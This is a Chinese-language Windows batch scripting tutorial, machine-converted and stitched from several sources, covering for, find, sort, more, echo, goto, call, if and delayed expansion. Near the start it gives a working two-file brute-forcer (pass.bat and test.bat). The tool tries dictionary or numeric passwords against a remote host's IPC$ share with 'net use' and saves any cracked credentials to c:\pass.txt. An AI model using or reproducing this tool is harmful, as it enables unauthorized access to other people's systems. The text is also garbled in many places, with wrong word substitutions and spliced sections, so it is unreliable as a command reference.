在網上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過瘾。在對for等指令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人家什麼,畢竟我連for /?都沒給出),而對上述管道指令群組合指令、以及這篇教程以後将講到的用批處理好啊作系統資料庫等方面根本沒有介紹。我之是以花整整一章來講管道指令群組合指令,是因為他們才是批處理的精華和靈魂,能否正确利用好這幾個指令,是能否掌握批處理的前提條件。如for、set等DOS指令的問題,可以從DOS的角度出發專門有針對性的學習,但有關這幾個指令的問題,卻是不容易精通掌握的----他們之間的關系太複雜了!
将下列代碼存為bat檔案
1、如果用字典破解:pass.bat 字典檔案路徑及名稱 主機 使用者名
2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 使用者名
密碼破解出來之後,存放于c:\pass.txt檔案裡面。
将下列代碼存為pass.bat檔案
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一指令執行傳回結果,net use成功傳回0,失敗傳回2
:answer0
echo 遠端主機:"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
17、For
批處理程式中使用 for 指令,請使用以下文法:for %%variable in (set) docommand [command-parameters]
指令提示符下使用 for 指令,請使用以下文法:for %variable in (set) do command [command-parameters]
參數解釋:
%%variable 或 %variable:代表可替換的參數。for 指令使用在 set 中指定的每個文本字元串替換 %%variable(或 %variable),直到此指令(在command-parameters 中指定)處理所有的檔案為止。使用 %% variable 在批處理程式中執行 for 指令。使用 %variable 通過指令提示符執行 for 指令。變量名區分大小寫。
(set):指定要用指定的指令處理的一個或多個檔案或文本字元串。需要括号。
command:指定要在指定的 set 所包含的每個檔案上執行的指令。
command-parameters:指定要用于指定指令(如果指定的指令要使用任何參數或開關)的任何參數或開關。如果啟用了指令擴充(Windows 2000 中的預設設定),将支援 for 指令的其他形式。
For 指令的其他形式
如果啟用了指令擴充,将支援如下 for 指令的其他格式:
隻限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名比對,而不是檔案名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /R 後沒有指定目錄,則假定為目前目錄。
如果 set 隻是一個句号 (.) 字元,則隻列舉目錄樹。
疊代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數字。
示例 :(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (54 3 2 1)。
檔案解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出現 usebackq 選項:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 參數指定一個或多個檔案名稱。在繼續到 filenameset 中的下一個檔案之前,每個檔案都會被打開、讀取和處理。
過程由讀取檔案、分成獨立的文本行及然後将每行解析成零個或更多個令牌組成。然後使用設定為找到的一個或多個令牌字元串的變量值(或多個值)集合調用 for 循環體。預設情況下,/F 傳遞每個檔案每一行的第一個空白分隔符号。
跳過空行。通過指定可選的“options”參數可以覆寫預設的解析行為。這是一個引用字元串,它包含一個或多個關鍵字
以指定不同的解析選項。關鍵字是:
關鍵字 說明
eol=c 指定行尾注釋字元(隻一個字元)
skip=n 指定在檔案的開頭跳過的行數。
delims=xxx 指定定界符集合。這将替換空格和制表符的預設分隔符集。
tokens=x,y,m-n 指定将令牌從每行傳遞到每個反複的正文。這将導緻配置設定其他變量名。
m-n 格式是一個範圍,指定從mth 到 nth 的令牌。
如果在令牌 = 字元串中最後一個字元是星号,則将配置設定附加的變量,
并在解析最後一個令牌後在行上接收剩餘的文本。
usebackq 指定将右引号字元串作為指令執行,單引号字元串是文字字元串指令,
您可以使用雙引号包括 filenameset 中的檔案名。
變量替換
此外,已經增強了 for 變量引用的替換修改程式。現在可以使用下列可選的文法(對于任何變量 I):
變量(使用修改程式) 說明
%~I 展開删除了周圍的任何引号 (") 的 %I
%~fI 将 %I 展開到完全合格的路徑名
%~dI 隻将 %I 展開到驅動器号
%~pI 隻将 %I 展開到路徑
%~nI 隻将 %I 展開到檔案名
%~xI 隻将 %I 展開到檔案擴充名
%~sI 展開路徑以隻包含短名稱
%~aI 将 %I 展開到檔案的檔案屬性
%~tI 将 %I 展開到檔案的日期/時間
%~zI 将 %I 展開到檔案大小
%~$PATH:I 搜尋 PATH 環境變量所列出的目錄,并将 %I 展開開到第一個找到結果的全部合格名稱。如果沒有定義環境變量名,或搜尋後沒有找到檔案,則此修改程式将擴充為空字元串。
修改程式可以合并以獲得複雜的結果:
變量(使用合并的修改程式) 說明
%~dpI 隻将 %I 展開到驅動器号和路徑
%~nxI 隻将 %I 展開到檔案名和擴充名
%~fsI 将 %I 展開到隻包含短名稱的完整路徑名
%~dp$PATH:I 在 PATH 環境變量所列出的目錄中搜尋 %I,并展開到第一個找到結果的驅動器号和路徑
%~ftzaI 将 %I 擴充到與 dir 相似的輸出行
注意
在上述範例中,%I 和 PATH 可被其他有效值替換。通過有效的 for 變量名終止 %~ 文法。
使用大寫變量名(例如 %I)可以使代碼更具可讀性,并且避免與不區分大小寫的修改程式混淆。
Shift
更改批處理檔案中可替換參數的位置。
shift
啟用指令擴充(Windows 2000 中的預設設定)後,shift 指令支援 /n 開關,該開關通知指令在第 n 個參數處開始更改,n 可以是從 0 到 8 的任何一個值。例如,
SHIFT /2
将 %3 改為 %2,将 %4 改為 %3 等等,而 %0 和 %1 保持不變。
篩選器指令
篩選器指令可以幫助您排序、檢視和選擇部分指令輸出結果。
通過篩選器指令傳遞資訊
篩選器指令可以劃分、重排以及提取通過的部分資訊好啊作。Windows 2000 有三個篩選器指令:
more 指令每次顯示一屏檔案内容或指令輸出。
find 指令在檔案和指令輸出中搜尋指定字元。
sort 指令按字母順序排列檔案和指令輸出。
要将輸入從檔案發送到篩選器指令,請使用小于符号 (<)。如果要篩選器指令從其他指令獲得輸入,請使用管道 (|)。
使用 more 指令來控制螢幕顯示
more 指令每次一屏地顯示檔案的内容或指令輸出。例如,下面的 more 指令每次顯示一屏 List.txt 檔案的内容:
more < list.txt
資訊顯示一屏後,會出現字“More”。要繼續顯示下一屏,請按鍵盤上任意鍵。要停止指令且不檢視詳細資訊,請按CTRL+C 鍵。
如果使用産生多屏輸出的指令,more 将十分有用。例如,假設定要檢視硬碟的目錄樹。如果 Windows 2000 不能将目錄在一屏内全部顯示出來,請使用帶管道号 (|) 和 more 指令的 tree 指令,如下例所示:
tree c:\ | more
tree 指令的第一屏輸出被顯示,後跟詞“More”。Windows 2000 暫停,直到使用者按鍵盤上的任意鍵為止(PAUSE 鍵除外)。
使用 find 指令搜尋文本
find 指令在一個或多個檔案中搜尋指定文本。Windows 2000 顯示每個包含該文本的行。find 指令可以用作篩選器指令或者标準的 Windows 2000 指令。有關将 find 用作标準的 Windows 2000 指令的資訊,請單擊“相關主題”清單中的find。
要将 find 當作篩選器指令使用,請包含小于符号 (<) 和搜尋的檔案名。當輸入檔案名時,請記住搜尋要區分大小寫。
例如,下面的指令查找檔案 Trade.txt 中所有的“Pacific Rim”字元串:
find "Pacific Rim" < trade.txt
要儲存 find 指令的輸出而不是顯示輸出,請使用大于号 (>) 和要存儲輸出的檔案名。例如,下面的指令查找檔案
Trade.txt 中所有的“Pacific Rim”字元串,并将結果儲存在 Nwtrade.txt 檔案中:
find "Pacific Rim" < trade.txt > nwtrade.txt
對文本檔案排序
sort 指令按字母順序排列文本檔案或指令的輸出。例如,可以使用以下指令對 List.txt 檔案的内容進行排序。
并在螢幕上顯示結果:sort < list.txt
在此範例中,sort 指令對 List.txt 檔案的行進行排序并顯示結果,但不更改檔案。要儲存 sort 指令的輸出而不是顯示輸出,請在指令中包含大于号 (>) 和檔案名。例如,可以使用以下指令對 List.txt 檔案的行按字母順序排序,并将結果存到 Alphlist.txt 檔案中:sort < list.txt > alphlist.txt
要排序指令的輸出,請鍵入後面帶有管道 (|) 和 sort 指令的指令。例如,下面的指令對 find 指令的輸出結果進行排序:
find "Jones" maillst.txt | sort
在鍵入該指令時,Windows 2000 按字母順序列出在其中出現“Jones”的行。
帶重定向符的合并指令
可以将篩選器指令、其他指令和檔案名合并以生成自定義指令。例如,可以使用以下指令存儲包含“LOG”字元串的檔案名:
dir /b | find "LOG" > loglist.txt
Windows 2000 通過 find 過濾器指令發送 dir 指令的輸出并将包含字元串“Log”的檔案名存儲在 Loglist.txt 檔案中。将結果存儲為檔案名清單(如,A.log、Logdat.svd 和 Mylog.bat)。
要在相同指令中使用多個篩選器,請使用管道 (|) 分隔篩選器。例如,下面的指令搜尋 C 盤上的每個目錄以查找包含“Log”字元串的檔案名,并且每次顯示一屏:
dir c:\ /s /b | find "LOG" | more
因為使用管道 (|),Windows 2000 通過 find 指令發送 dir 指令的輸出結果。find 指令隻選擇包含字元串“Log”的檔案名。more 指令每次一屏地顯示 find 指令選擇的檔案名。
More
每次顯示一個輸出螢幕。該指令通常用于檢視長檔案。可以單獨使用此指令,或者使用它控制其他指令的輸出,例如
type 指令。當顯示填充可用的檢視區域時将出現 more 提示,使用者可以輸入許多指令來控制檢視檔案其餘部分的方式。
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
參數
[drive:][path] filename 指定要顯示的檔案。
command name 指定将顯示其輸出的指令。
/c 顯示頁面前清除螢幕。
/p 擴充換頁符。
/s 将多個空白行更改為一個空白行。
/tn 将制表位更改為 n 個空格
+n 顯示由 n 指定的行開始的第一個檔案。
files 指定要顯示的檔案清單。用空格分隔檔案名。
More 子指令
以下指令在 more 提示 (-- More --) 下接受。
關鍵字 動作
space 顯示下一頁。
ENTER 顯示下一行。
F 顯示下一個檔案。
q 退出。
? 顯示可用指令。
= 顯示行号。
P n 顯示以下 n 行。
S n 跳過下面 n 行。
Find 在一個檔案或多個檔案中搜尋指定的文本字元串。
當搜尋到指定的檔案後,find 将顯示出包含指定字元串的所有行。
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
參數
/v 顯示未包含指定字元串的所有行。
/c 隻顯示包含指定字元串的行數。
/n 将檔案行号置于每行開頭。
/I 指定搜尋不區分大小寫。
"string" 指定要搜尋的字元組。必須将 string 的文本包括在引号中。
[drive:][path] filename 指定要在其中搜尋指定字元串的檔案的位置和名稱。
Sort
讀取輸入、排序資料并将結果寫到螢幕、檔案和其他裝置上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]]
[/o [drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t
[drive2:][path2]] [/o [drive3:][path3]filename3]
參數
/r 颠倒排序順序,即從 Z 到 A 排序,然後從 9 到 0 排序。
/+n 指定字元位置号 n,sort 在此處開始每次比較。
例如,/+3 表示每次比較在每行的第三個字元開始。少于 n 個字元的行在其他行之前排序。
預設情況下,比較在每行的第一個字元開始。
/m kilobytes 指定用于排序的主記憶體數量,按千位元組 (KB) 計。使用的記憶體最小值總是 160 KB。
如果指定了記憶體大小,則無論有多少主記憶體可用,指定的确切數量(但至少 160 KB)的記憶體将用于排序。
如果輸入輸出均為檔案,在沒有指定大小時,預設最大記憶體大小為可用主記憶體的 90%,
否則為主記憶體的 45%。預設設定通常會産生最佳的性能。
/l locale 替代由系統預設區域設定定義的字元排序順序;即在安裝 Windows 2000 時選擇的語言和“國家(地區)”。
目前,預設區域設定唯一的備用選項就是“C”區域設定,該區域設定比自然語言排序快,根據二進制編碼對字元排序。
/rec characters 指定記錄或輸入檔案的行中的最多字元數(預設值為 4096,最大值為 65535)。
[drive1:][path1]filename1 指定要排序的檔案。如果沒有指定檔案名,則對标準輸入排序。
指定輸入檔案比将同一檔案作為标準輸入重定向速度快。
/t [drive2:][path2] 指定保留 sort 指令工作存儲的目錄路徑,防止資料不能裝入主記憶體。預設為使用系統臨時目錄。
/o [drive3:][path3]filename3 指定要存儲排序後的輸入的檔案。如果沒有指定,資料将寫入标準輸出。
指定輸出檔案比将同一檔案作為标準輸出重定向速度快!
最全的批處理教程
第一章 批處理基礎
第一節 常用批處理内部指令簡介
1、REM 和 ::
2、ECHO 和 @
3、PAUSE
4、ERRORLEVEL
5、TITLE
6、COLOR
7、mode 配置系統裝置
8、GOTO 和 :
9、FIND
10、START
11、assoc 和 ftype
12、pushd 和 popd
13、CALL
14、shift
15、IF
16、setlocal 與 變量延遲(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION啟動或停用延緩環境變量擴充名。)
17、ATTRIB顯示或更改檔案屬性
批處理定義:顧名思義,批處理檔案是将一系列指令按一定的順序集合為一個可執行的文本檔案,其擴充名為BAT或者CMD。這些指令統稱批處理指令。
小知識:可以在鍵盤上按下Ctrl+C組合鍵來強行終止一個批處理的執行過程。
了解了大概意思後,我們正式開始學習.先看一個簡單的例子!
@echo off
echo \"歡迎來到非常BAT!\"
pause
把上面的3條指令儲存為檔案test.bat或者test.cmd然後執行,他就會在螢幕上顯示以下二行話:
歡迎來到非常BAT!
請按任意鍵繼續. . .
這就是一個簡單批處理檔案了,這個批處理檔案一共就用了2條指令 \"echo\" 和\"pause\" 還有一個特殊符号\"@\"
從上面這個簡單的批進行中,我們可以發現其實批處理就是運用一些含有特殊意義的符号和一些完成指定功能的指令組合而成,那麼在批進行中有多少這樣的特殊符号和功能指令呢?我們現在就來仔細了解一下一些最常用的!
介紹指令
1、REM 和 ::
REM為注釋指令,一般用來給程式加上注解,該指令後的内容不被執行,但能回顯。
其次, :: 也可以起到rem 的注釋作用, 而且更簡潔有效;
但有兩點需要注意:
第一, 任何以冒号:開頭的字元行, 在批進行中都被視作标号, 而直接忽略其後的所有内容。
有效标号:冒号後緊跟一個以字母數字開頭的字元串,goto語句可以識别。
無效标号:冒号後緊跟一個非字母數字的一個特殊符号,goto無法識别的标号,可以起到注釋作用,是以 :: 常被用作注釋符号,其實 :+ 也可起注釋作用。
第二, 與rem 不同的是, ::後的字元行在執行時不會回顯, 無論是否用echo on打開指令行回顯狀态, 因為指令解釋器不認為他是一個有效的指令行,
就此點來看, rem 在某些場合下将比 :: 更為适用; 另外, rem 可以用于 config.sys 檔案中。
行内注釋格式:%注釋内容%(不常用,慎用)
2、ECHO 和 @
@字元放在指令前将關閉該指令回顯,無論此時echo是否為打開狀态。
echo指令的作用列舉如下:
(1)打開回顯或關閉回顯功能
格式:echo [{ on|off }]
如果想關閉“ECHO OFF”指令行自身的顯示,則需要在該指令行前加上“@”。
(2)顯示目前ECHO設定狀态
格式:echo
(3)輸出提示資訊
格式:ECHO 資訊内容
上述是ECHO指令常見的三種用法,也是大家熟悉和會用的,但作為DOS指令淘金者你還應該知道下面的技巧:
(4)關閉DOS指令提示符
在DOS提示符狀态下鍵入ECHO OFF,能夠關閉DOS提示符的顯示使螢幕隻留下光标,直至鍵入ECHO ON,提示符才會重新出現。
(5)輸出空行,即相當于輸入一個回車
格式:ECHO.
值得注意的是指令行中的“.”要緊跟在ECHO後面中間不能有空格,否則“.”将被當作提示資訊輸出到螢幕。
另外“.”可以用,:;”/[\\]+等任一符号替代。
指令ECHO.輸出的回車,經DOS管道轉向可以作為其它指令的輸入,比如echo.|time即相當于在TIME指令執行後給出一個回車。
是以執行時系統會在顯示目前時間後,自動傳回到DOS提示符狀态
(6)答複指令中的提問
格式:ECHO 答複語|指令檔案名
上述格式可以用于簡化一些需要人機對話的指令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,
它是通過DOS管道指令把ECHO指令輸出的預置答複語作為人機對話指令的輸入。
下面的例子就相當于在調用的指令出現人機對話時輸入“Y”回車:
C:>ECHO Y|CHKDSK/F
C:>ECHO Y|DEL A :*.*
(7)建立新檔案或增加檔案内容
格式:ECHO 檔案内容>檔案名
ECHO 檔案内容>>檔案名
例如:
C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自動批處理檔案
C:>ECHO C:\\CPAV\\BOOTSAFE>>AUTOEXEC.BAT向自動批處理檔案中追加内容
C:>TYPE AUTOEXEC.BAT顯示該自動批處理檔案
@ECHO OFF
C:\\CPAV\\BOOTSAFE
(8)向列印機輸出列印内容或列印控制碼
格式:ECHO 列印機控制碼>RN
ECHO 列印内容>RN
下面的例子是向M-1724列印機輸入列印控制碼。<Alt>156是按住Alt鍵在小鍵盤鍵入156,類似情況依此類推:
C:>ECHO +156+42+116>RN(輸入下劃線指令FS*t)
C:>ECHO [url=mailto:+155@]+155@>RN[/url](輸入初始化指令ESC@)
C:>ECHO.>RN(換行)
(9)使喇叭鳴響
C:>ECHO ^G
“^G”是在dos視窗中用Ctrl+G或Alt+007輸入,輸入多個^G可以産生多聲鳴響。
使用方法是直接将其加入批處理檔案中或做成批處理檔案調用。
這裡的“^G”屬于特殊符号的使用,請看本文後面的章節
3、PAUSE
PAUSE,玩遊戲的人都知道,暫停的意思在這裡就是停止系統指令的執行并顯示下面的内容。
例:
PAUSE
運作顯示:
請按任意鍵繼續. . .
要顯示其他提示語,可以這樣用:
Echo 其他提示語 pause > nul
4、errorlevel
程式傳回碼
echo %errorlevel%
每個指令運作結束,可以用這個指令行格式檢視傳回碼用于判斷剛才的指令是否執行成功預設值為0,
一般指令執行出錯會設 errorlevel 為1
5、title
設定cmd視窗的标題
title 新标題#可以看到cmd視窗的标題欄變了
6、COLOR
設定預設的控制台前景和背景顔色。
COLOR [attr]
attr指定控制台輸出的顔色屬性
顔色屬性由兩個十六進制數字指定 -- 第一個為背景,第二個則為前景。
每個數字可以為以下任何值之一:
0 = 黑色 8 = 灰色
1 = 藍色 9 = 淡藍色
2 = 綠色 A = 淡綠色
3 = 湖藍色 B = 淡淺綠色
4 = 紅色 C = 淡紅色
5 = 紫色 D = 淡紫色
6 = ** E = 淡**
7 = 白色 F = 亮白色
如果沒有給定任何參數,該指令會将顔色還原到 CMD.EXE 啟動時的顔色。
這個值來自目前控制台視窗、/T 開關或DefaultColor 系統資料庫值。
如果用相同的前景和背景顔色來執行 COLOR 指令,COLOR 指令會将 ERRORLEVEL 設定為 1。
例如: \"COLOR fc\" 在亮白色上産生亮紅色
7、mode 配置系統裝置
配置系統裝置。
串行口: MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]
[to=on|off] [xon=on|off] [odsr=on|off]
[octs=on|off] [dtr=on|off|hs]
[rts=on|off|hs|tg] [idsr=on|off]
裝置狀态: MODE [device] [/STATUS]
列印重定向: MODE LPTn[:]=COMm[:]
標明代碼頁: MODE CON[:] CP SELECT=yyy
代碼頁狀态: MODE CON[:] CP [/STATUS]
顯示模式: MODE CON[:] [COLS=c] [LINES=n]
擊鍵率: MODE CON[:] [RATE=r DELAY=d]
例:
mode con cols=113 lines=15 color 9f
此指令設定DOS視窗大小:15行,113列
8、GOTO 和 :
GOTO會點程式設計的朋友就會知道這是跳轉的意思。
在批進行中允許以“:XXX”來建構一個标号,然後用GOTO XXX跳轉到标号:XXX處,然後執行标号後的指令。
例:
if {%1}=={} goto noparms
if \"%2\"==\"\" goto noparms
标簽的名字可以随便起,但是最好是有意義的字元串啦,前加個冒号用來表示這個字元串是标簽,
goto指令就是根據這個冒号(:)來尋找下一步跳到到那裡。最好有一些說明這樣你别人看起來才會了解你的意圖啊。
例:
@echo off
:start
set /a var+=1
echo %var%
if %var% leq 3 GOTO start
pause
運作顯示:
1
2
3
4
9、find
在檔案中搜尋字元串。
FIND [/V] [/C] [/N] [/OFF[LINE]] \"string\" [[drive:][path]filename[ ...]]
/V顯示所有未包含指定字元串的行。
/C僅顯示包含字元串的行數。
/N顯示行号。
/I搜尋字元串時忽略大小寫。
/OFF[LINE] 不要跳過具有脫機屬性集的檔案。
\"string\"指定要搜尋的文字串,
[drive:][path]filename
指定要搜尋的檔案。
如果沒有指定路徑,FIND 将搜尋鍵入的或者由另一指令産生的文字。
Find常和type指令結合使用
Type [drive:][path]filename | find \"string\" [>tmpfile] #挑選包含string的行
Type [drive:][path]filename | find /v \"string\" #剔除檔案中包含string的行
Type [drive:][path]filename | find /c #顯示檔案行數
以上用法将去除find指令自帶的提示語(檔案名提示)
例:
@echo off
echo 111 >test.txt
echo 222 >>test.txt
find \"111\" test.txt
del test.txt
pause
運作顯示如下:
---------- TEST.TXT
111
請按任意鍵繼續. . .
例:
@echo off
echo 111 >test.txt
echo 222 >>test.txt
type test.txt|find \"111\"
del test.txt
pause
運作顯示如下:
111
請按任意鍵繼續. . .
10、start 指令
批進行中調用外部程式的指令(該外部程式在新視窗中運作,批處理程式繼續往下執行,不理會外部程式的運作狀況),
如果直接運作外部程式則必須等外部程式完成後才繼續執行剩下的指令
例:start explorer d:\\
調用圖形界面打開D盤
11、assoc 和 ftype
檔案關聯
assoc 設定#39;檔案擴充名'關聯,關聯到'檔案類型'
ftype 設定#39;檔案類型'關聯,關聯到'執行程式和參數'
當你輕按兩下一個.txt檔案時,windows并不是根據.txt直接判斷用 notepad.exe 打開
而是先判斷.txt屬于 txtfile #39;檔案類型'
再調用 txtfile 關聯的指令行 txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1
可以在\"檔案夾選項\"→\"檔案類型\"裡修改這2種關聯
assoc #顯示所有#39;檔案擴充名'關聯
assoc .txt#顯示.txt代表的#39;檔案類型',結果顯示 .txt=txtfile
assoc .doc#顯示.doc代表的#39;檔案類型',結果顯示 .doc=Word.Document.8
assoc .exe#顯示.exe代表的#39;檔案類型',結果顯示 .exe=exefile
ftype #顯示所有#39;檔案類型'關聯
ftype exefile #顯示exefile類型關聯的指令行,結果顯示 exefile=\"%1\" %*
assoc .txt=Word.Document.8
設定.txt為word類型的文檔,可以看到.txt檔案的圖示都變了
assoc .txt=txtfile
恢複.txt的正确關聯
ftype exefile=\"%1\" %*
恢複 exefile 的正确關聯
如果該關聯已經被破壞,可以運作 command.com ,再輸入這條指令
12、pushd 和 popd
切換目前目錄
@echo off
c: cd\\ & md mp3 #在 C:\\ 建立 mp3 檔案夾
md d:\\mp4 #在 D:\\ 建立 mp4 檔案夾
cd /d d:\\mp4#更改目前目錄為 d:\\mp4
pushd c:\\mp3#儲存目前目錄,并切換目前目錄為 c:\\mp3
popd#恢複目前目錄為剛才儲存的 d:\\mp4
一般用處不大,在目前目錄名不确定時,會有點幫助。(dos程式設計中很有用)
13、CALL
CALL指令可以在批處理執行過程中調用另一個批處理,當另一個批處理執行完後,再繼續執行原來的批處理
CALL command
調用一條批處理指令,和直接執行指令效果一樣,特殊情況下很有用,比如變量的多級嵌套,見教程後面。
在批處理程式設計中,可以根據一定條件生成指令字元串,用call可以執行該字元串,見例子。
CALL [drive:][path]filename [batch-parameters]
調用的其它批處理程式。filename 參數必須具有 .bat 或 .cmd 擴充名。
CALL :label arguments
調用本檔案内指令段,相當于子程式。被調用的指令段以标簽:label開頭
以指令goto :eof結尾。
另外,批腳本文本參數參照(%0、%1、等等)已如下改變:
批腳本裡的 %* 指出所有的參數(如 %1 %2 %3 %4 %5 ...)
批參數(%n)的替代已被增強。您可以使用以下文法:(看不明白的直接運作後面的例子)
%~1 - 删除引号(\"),擴充 %1
%~f1- 将 %1 擴充到一個完全合格的路徑名
%~d1- 僅将 %1 擴充到一個驅動器号
%~p1- 僅将 %1 擴充到一個路徑
%~n1- 僅将 %1 擴充到一個檔案名
%~x1- 僅将 %1 擴充到一個檔案擴充名
%~s1- 擴充的路徑指含有短名
%~a1- 将 %1 擴充到檔案屬性
%~t1- 将 %1 擴充到檔案的日期/時間
%~z1- 将 %1 擴充到檔案的大小
%~$PATH : 1 - 查找列在 PATH 環境變量的目錄,并将 %1
擴充到找到的第一個完全合格的名稱。如果環境
變量名未被定義,或者沒有找到檔案,此組合鍵會
擴充到空字元串
可以組合修定符來取得多重結果:
%~dp1 - 隻将 %1 擴充到驅動器号和路徑
%~nx1 - 隻将 %1 擴充到檔案名和擴充名
%~dp$PATH:1 - 在列在 PATH 環境變量中的目錄裡查找 %1,
并擴充到找到的第一個檔案的驅動器号和路徑。
%~ftza1 - 将 %1 擴充到類似 DIR 的輸出行。
在上面的例子中,%1 和 PATH 可以被其他有效數值替換。
%~ 文法被一個有效參數号碼終止。%~ 修定符不能跟 %*使用
注意:參數擴充時不理會參數所代表的檔案是否真實存在,均以目前目錄進行擴充
要了解上面的知識,下面的例子很關鍵。
例:
@echo off
Echo 産生一個臨時檔案 > tmp.txt
Rem 下行先儲存目前目錄,再将c:\\windows設為目前目錄
pushd c:\\windows
Call :sub tmp.txt
Rem 下行恢複前次的目前目錄
Popd
Call :sub tmp.txt
pause
Del tmp.txt
exit
:sub
Echo 删除引号: %~1
Echo 擴充到路徑: %~f1
Echo 擴充到一個驅動器号: %~d1
Echo 擴充到一個路徑: %~p1
Echo 擴充到一個檔案名: %~n1
Echo 擴充到一個檔案擴充名: %~x1
Echo 擴充的路徑指含有短名: %~s1
Echo 擴充到檔案屬性: %~a1
Echo 擴充到檔案的日期/時間: %~t1
Echo 擴充到檔案的大小: %~z1
Echo 擴充到驅動器号和路徑:%~dp1
Echo 擴充到檔案名和擴充名:%~nx1
Echo 擴充到類似 DIR 的輸出行:%~ftza1
Echo.
Goto :eof
例:
set aa=123456
set cmdstr=echo %aa%
call %cmdstr%
pause
本例中如果不用call,而直接運作%cmdstr%,将顯示結果%aa%,而不是123456
14、shift
更改批處理檔案中可替換參數的位置。
SHIFT [/n]
如果指令擴充名被啟用,SHIFT 指令支援/n 指令行開關;該指令行開關告訴
指令從第 n 個參數開始移位;n 介于零和八之間。例如:
SHIFT /2
會将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影響 %0 和 %1。
15、IF
IF 條件判斷語句,文法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
下面逐一介紹,更詳細的分析請看後面章節。
(1) IF [NOT] ERRORLEVEL number command
IF ERRORLEVEL這個句子必須放在某一個指令的後面,執行指令後由IF ERRORLEVEL 來判斷指令的傳回值。
Number的數字取值範圍0~255,判斷時值的排列順序應該由大到小。傳回的值大于等于指定的值時,條件成立
例:
@echo off
dir c:
rem退出代碼為>=1就跳至标題1處執行,>=0就跳至标題0處執行
IF ERRORLEVEL 1 goto 1
IF ERRORLEVEL 0 goto 0
Rem 上面的兩行不可交換位置,否則失敗了也顯示成功。
:0
echo 指令執行成功!
Rem 程式執行完畢跳至标題exit處退出
goto exit
:1
echo 指令執行失敗!
Rem 程式執行完畢跳至标題exit處退出
goto exit
:exit
pause
運作顯示:指令執行成功!
(2) IF [NOT] string1==string2 command
string1和string2都為字元的資料,英文内字元的大小寫将看作不同,這個條件中的等于号必須是兩個(絕對相等的意思)
條件相等後即執行後面的command
檢測目前變量的值做出判斷,為了防止字元串中含有空格,可用以下格式
if [NOT] {string1}=={string2} command
if [NOT] [string1]==[string2] command
if [NOT] \"string1\"==\"string2\" command
這種寫法實際上将括号或引号當成字元串的一部分了,隻要等号左右兩邊一緻就行了,比如下面的寫法就不行:
if {string1}==[string2] command
(3) IF [NOT] EXIST filename command
EXIST filename為檔案或目錄存在的意思
echo off
IF EXIST autoexec.bat echo 檔案存在!
IF not EXIST autoexec.bat echo 檔案不存在!
這個批處理大家可以放在C槽和D盤分别執行,看看效果
16、setlocal 與 變量延遲
本條内容引用[英雄出品]的批處理教程:
要想進階,變量延遲是必過的一關!是以這一部分希望你能認真看。
為了更好的說明問題,我們先引入一個例子。
例1:
@echo off
set a=4
set a=5 echo %a%
pause
結果:4
解說:為什麼是4而不是5呢?在echo之前明明已經把變量a的值改成5了?
讓我們先了解一下批處理運作指令的機制:
批處理讀取指令時是按行讀取的(另外例如for指令等,其後用一對圓括号閉合的所有語句也當作一行),
在處理之前要完成必要的預處理工作,這其中就包括對該行指令中的變量指派。
我們現在分析一下例1,批處理在運作到這句“set a=5 echo %a%”之前,先把這一句整句讀取并做了預處理——對變量a賦了值,
那麼%a%當然就是4了!(沒有為什麼,批處理就是這樣做的。)
而為了能夠感覺環境變量的動态變化,批處理設計了變量延遲。
簡單來說,在讀取了一條完整的語句之後,不立即對該行的變量指派,而會在某個單條語句執行之前再進行指派,
也就是說“延遲”了對變量的指派。
那麼如何開啟變量延遲呢?變量延遲又需要注意什麼呢?舉個例子說明一下:
例2:
@echo off
setlocal enabledelayedexpansion
set a=4
set a=5 echo !a!
pause
結果:5
解說:啟動了變量延遲,得到了正确答案。變量延遲的啟動語句是“setlocal enabledelayedexpansion”,
并且變量要用一對歎号“!!”括起來(注意要用英文的歎号),否則就沒有變量延遲的效果。
分析一下例2,首先“setlocal enabledelayedexpansion”開啟變量延遲,然後“set a=4”先給變量a指派為
4,“set a=5 echo !a!”這句是給變量a指派為5并輸出
